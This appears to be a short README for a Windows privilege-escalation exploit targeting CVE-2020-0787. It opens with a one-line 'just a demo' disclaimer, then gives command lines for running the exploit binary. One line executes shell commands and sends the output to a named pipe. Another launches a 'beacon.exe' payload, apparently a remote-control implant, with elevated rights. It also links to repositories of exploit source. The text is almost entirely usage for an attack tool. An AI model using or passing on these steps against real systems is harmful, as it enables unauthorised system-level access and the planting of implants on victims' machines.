It's Just A Demo,Do not use in real.
-Get result for Command execution(Use cmd /c):
exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show
-Run beacon.exe:
exp.exe "C:/beacon.exe"
It's better one than current project: https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA
Source from: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION